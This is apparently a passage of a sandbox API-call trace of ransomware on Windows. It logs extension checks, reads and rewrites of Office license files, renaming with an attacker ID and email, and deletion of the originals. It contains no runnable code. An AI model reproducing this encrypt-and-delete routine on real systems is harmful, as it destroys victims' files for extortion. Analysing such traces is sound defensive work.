	[0197.525] lstrlenW (lpString=".xlsx") returned 5
	[0197.525] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.525] lstrlenW (lpString=".ppt") returned 4
	[0197.525] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.525] lstrlenW (lpString=".zip") returned 4
	[0197.525] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.525] lstrlenW (lpString=".rar") returned 4
	[0197.525] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.525] lstrlenW (lpString=".bz2") returned 4
	[0197.525] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.525] lstrlenW (lpString=".7z") returned 3
	[0197.525] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.525] lstrlenW (lpString=".dbf") returned 4
	[0197.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.525] lstrlenW (lpString=".1cd") returned 4
	[0197.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.525] lstrlenW (lpString=".jpg") returned 4
	[0197.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.525] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.525] lstrlenW (lpString="HomeStudentR_Trial-ul-oob.xrm-ms") returned 32
	[0197.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0197.526] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11616) returned 1
	[0197.526] CloseHandle (hObject=0x5d8) returned 1
	[0197.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220
	[0197.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0197.527] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.527] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0197.528] GetLastError () returned 0x0
	[0197.528] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0197.530] WriteFile (in: hFile=0x574, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0197.531] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.531] WriteFile (in: hFile=0x574, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0197.531] SetEndOfFile (hFile=0x574) returned 1
	[0197.531] CloseHandle (hObject=0x574) returned 1
	[0197.531] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.531] SetEndOfFile (hFile=0x5d8) returned 1
	[0197.534] CloseHandle (hObject=0x5d8) returned 1
	[0197.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1
	[0197.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.536] lstrlenW (lpString=".doc") returned 4
	[0197.536] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString=".docx") returned 5
	[0197.536] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.536] lstrlenW (lpString=".pdf") returned 4
	[0197.536] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString=".xls") returned 4
	[0197.536] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString=".xlsx") returned 5
	[0197.536] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.536] lstrlenW (lpString=".ppt") returned 4
	[0197.536] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.536] lstrlenW (lpString=".zip") returned 4
	[0197.536] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString=".rar") returned 4
	[0197.536] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString=".bz2") returned 4
	[0197.536] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString=".7z") returned 3
	[0197.536] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.536] lstrlenW (lpString=".dbf") returned 4
	[0197.536] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.536] lstrlenW (lpString=".1cd") returned 4
	[0197.536] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.537] lstrlenW (lpString=".jpg") returned 4
	[0197.537] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.537] lstrlenW (lpString=".doc") returned 4
	[0197.537] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString=".docx") returned 5
	[0197.537] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.537] lstrlenW (lpString=".pdf") returned 4
	[0197.537] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString=".xls") returned 4
	[0197.537] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString=".xlsx") returned 5
	[0197.537] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.537] lstrlenW (lpString=".ppt") returned 4
	[0197.537] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.537] lstrlenW (lpString=".zip") returned 4
	[0197.537] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString=".rar") returned 4
	[0197.537] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString=".bz2") returned 4
	[0197.537] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.537] lstrlenW (lpString=".7z") returned 3
	[0197.537] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.537] lstrlenW (lpString=".dbf") returned 4
	[0197.537] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.549] lstrlenW (lpString=".1cd") returned 4
	[0197.549] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82
	[0197.549] lstrlenW (lpString=".jpg") returned 4
	[0197.549] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.549] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.549] lstrlenW (lpString="HomeStudentR_Trial2-pl.xrm-ms") returned 29
	[0197.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0197.550] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11167) returned 1
	[0197.550] CloseHandle (hObject=0x5d8) returned 1
	[0197.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220
	[0197.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0197.551] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.551] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0197.552] GetLastError () returned 0x0
	[0197.552] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0197.783] WriteFile (in: hFile=0x574, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0197.785] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.785] WriteFile (in: hFile=0x574, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0197.785] SetEndOfFile (hFile=0x574) returned 1
	[0197.890] CloseHandle (hObject=0x574) returned 1
	[0197.890] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.890] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.227] CloseHandle (hObject=0x5d8) returned 1
	[0198.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1
	[0198.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.228] lstrlenW (lpString=".doc") returned 4
	[0198.228] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.228] lstrlenW (lpString=".docx") returned 5
	[0198.228] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.228] lstrlenW (lpString=".pdf") returned 4
	[0198.228] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.228] lstrlenW (lpString=".xls") returned 4
	[0198.228] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.228] lstrlenW (lpString=".xlsx") returned 5
	[0198.229] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.229] lstrlenW (lpString=".ppt") returned 4
	[0198.229] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.229] lstrlenW (lpString=".zip") returned 4
	[0198.229] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString=".rar") returned 4
	[0198.229] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString=".bz2") returned 4
	[0198.229] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString=".7z") returned 3
	[0198.229] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.229] lstrlenW (lpString=".dbf") returned 4
	[0198.229] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.229] lstrlenW (lpString=".1cd") returned 4
	[0198.229] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.229] lstrlenW (lpString=".jpg") returned 4
	[0198.229] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.229] lstrlenW (lpString=".doc") returned 4
	[0198.229] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString=".docx") returned 5
	[0198.229] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.229] lstrlenW (lpString=".pdf") returned 4
	[0198.229] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString=".xls") returned 4
	[0198.229] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.229] lstrlenW (lpString=".xlsx") returned 5
	[0198.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.230] lstrlenW (lpString=".ppt") returned 4
	[0198.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.230] lstrlenW (lpString=".zip") returned 4
	[0198.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.230] lstrlenW (lpString=".rar") returned 4
	[0198.230] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.230] lstrlenW (lpString=".bz2") returned 4
	[0198.230] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.230] lstrlenW (lpString=".7z") returned 3
	[0198.230] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.230] lstrlenW (lpString=".dbf") returned 4
	[0198.230] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.230] lstrlenW (lpString=".1cd") returned 4
	[0198.230] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0198.230] lstrlenW (lpString=".jpg") returned 4
	[0198.230] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.230] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.230] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23
	[0198.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.231] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10627) returned 1
	[0198.231] CloseHandle (hObject=0x5d8) returned 1
	[0198.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220
	[0198.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.232] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.232] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0198.233] GetLastError () returned 0x0
	[0198.233] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2983, lpOverlapped=0x0) returned 1
	[0198.235] WriteFile (in: hFile=0x5b0, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0198.236] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.236] WriteFile (in: hFile=0x5b0, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x102, lpOverlapped=0x0) returned 1
	[0198.237] SetEndOfFile (hFile=0x5b0) returned 1
	[0198.237] CloseHandle (hObject=0x5b0) returned 1
	[0198.237] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.237] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.240] CloseHandle (hObject=0x5d8) returned 1
	[0198.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1
	[0198.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.241] lstrlenW (lpString=".doc") returned 4
	[0198.241] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.241] lstrlenW (lpString=".docx") returned 5
	[0198.241] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.241] lstrlenW (lpString=".pdf") returned 4
	[0198.241] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.241] lstrlenW (lpString=".xls") returned 4
	[0198.241] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.241] lstrlenW (lpString=".xlsx") returned 5
	[0198.241] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.242] lstrlenW (lpString=".ppt") returned 4
	[0198.242] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.242] lstrlenW (lpString=".zip") returned 4
	[0198.242] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString=".rar") returned 4
	[0198.242] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString=".bz2") returned 4
	[0198.242] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString=".7z") returned 3
	[0198.242] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.242] lstrlenW (lpString=".dbf") returned 4
	[0198.242] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.242] lstrlenW (lpString=".1cd") returned 4
	[0198.242] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.242] lstrlenW (lpString=".jpg") returned 4
	[0198.242] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
